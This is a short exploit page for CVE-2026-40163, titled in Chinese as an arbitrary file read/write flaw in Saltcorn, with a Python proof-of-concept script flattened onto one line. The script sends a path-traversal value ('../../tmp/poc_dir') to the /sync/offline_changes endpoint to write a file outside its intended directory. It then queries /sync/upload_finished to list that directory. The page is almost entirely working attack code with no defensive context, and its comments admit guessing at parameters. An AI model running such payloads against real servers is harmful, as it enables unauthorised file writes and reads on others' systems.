CVE-2026-40163 Saltcorn 任意文件读写漏洞

import requests import json target = "http://localhost:3000" # Define the arbitrary path to write to (e.g., ../../tmp/poc_dir) attack_path = "../../tmp/poc_dir" # Payload to create directory and write changes.json # The specific JSON structure mimics the expected sync payload write_payload = { "path": attack_path, "changes": [{ "table": "test", "type": "insert", "obj": {"data": "arbitrary_content_controlled_by_attacker"} }] } print(f"[+] Attempting to write file to {attack_path}/changes.json") try: # Step 1: Create directory and write file (Vulnerability in POST /sync/offline_changes) response = requests.post(f"{target}/sync/offline_changes", json=write_payload) print(f"[+] POST Response Status: {response.status_code}") print(f"[+] POST Response Body: {response.text}") except Exception as e: print(f"[-] Error during POST request: {e}") print(f"\n[+] Attempting to list directory contents") try: # Step 2: List directory contents and verify write (Vulnerability in GET /sync/upload_finished) # The endpoint might use a query parameter or JSON body, assuming query param based on common patterns or testing read_response = requests.get(f"{target}/sync/upload_finished", params={"path": attack_path}) print(f"[+] GET Response Status: {read_response.status_code}") print(f"[+] GET Response Body: {read_response.text}") except Exception as e: print(f"[-] Error during GET request: {e}")